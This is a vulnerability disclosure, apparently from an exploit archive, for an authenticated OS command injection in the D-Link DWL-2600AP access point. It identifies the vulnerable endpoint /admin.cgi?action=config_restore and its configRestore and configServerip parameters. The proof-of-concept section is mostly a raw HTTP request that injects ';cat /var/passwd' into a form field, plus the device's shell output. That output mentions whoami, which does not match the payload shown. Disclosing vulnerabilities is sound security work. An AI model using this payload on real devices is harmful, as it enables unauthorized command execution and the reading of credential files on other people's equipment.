D-Link DWL-2600AP Authenticated OS Command Injection

D-Link DWL-2600AP suffers from an authentication OS command injection vulnerability via the tftp restore functionality.

MD5 | 0a2801cb48c22c6146facc0684a19d22

Document Title:
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Restore Configuration)

Product & Service Introduction:
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:

Severity Level:

Base Score (CVSS):

Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=config_restore

Vulnerable POST Form Data Parameter:
[+] configRestore
[+] configServerip
Device Firmware version :

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier :

Proof of Concept (PoC):
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configRestore"
and the Form Data Parameter "configServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot2.jpg .

--- PoC Session Logs ---
POST /admin.cgi?action=config_restore HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 357
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_restore
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=UQAafLpviZXbWDQpJAnrNmEJoFQIBAcX; clickedFolderFrameless=43%5E

Content-Disposition: form-data; name="optprotocol"

Content-Disposition: form-data; name="configRestore"

Content-Disposition: form-data; name="configServerip"

;cat /var/passwd;cat /var/passwd


HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found

Note : for testing put the values in the fields like this :

----+Discovered By Raki Ben Hamouda----+

Related Posts